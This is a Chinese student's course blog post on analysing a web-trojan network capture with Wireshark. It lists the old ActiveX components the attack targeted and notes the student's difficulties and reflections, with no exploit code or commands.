
 

6. 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?

可以通过Wireshark的TCP追踪流查到一些线索

这部分看文件里的,还不是很懂,我想可以通过JS文件里的类ID判断漏洞种类,但是JS没有解码成功,故不知道对应的类ID

MDAC RDS.Dataspace ActiveX control

AOL IWinAmpActiveX control (AmpX.dll)

DirectShow ActiveX control (msvidctl.dll)

Office Snapshot Viewer ActiveX control

COM Object Instantiation (msdds.dll)

Office Web Components ActiveX control

7. shellcode执行了哪些操作?比较他们之间MD5的差异?

使用wireshark追踪HTTP流,有些可以看到一些操作,如图,看起来很像是使用IDA Pro中的String Window,但都是一些常规操作

 

三、学习中遇到的问题及解决


问题一:

实践二打不开网址,研究了半天,最后只好参考文提供的代码

问题二:

在实践二部最后,原本想尝试ESET sysinspector软件分析exe文件多做了什么,但是在官网下载的软件无法安装在WinXP中,说好的支持XP系统呢

问题三:

在使用chaosreader分析文件时,实践后半部分有很多命令比较复杂,并不懂能看懂

 

四、学习感想和体会


本章作业具体的实践并不多,但是分析真的很多,写了很长时间,眼睛好累。感觉像是一层层剥洋葱,又辣又难剥!

 

参考资料:

  1. Web安全-检测-网页挂马

2.网络钓鱼攻击的实现过程

3.端口列表

posted @ 2020-05-19 21:04  FLwww  阅读(390)  评论(0编辑  收藏  举报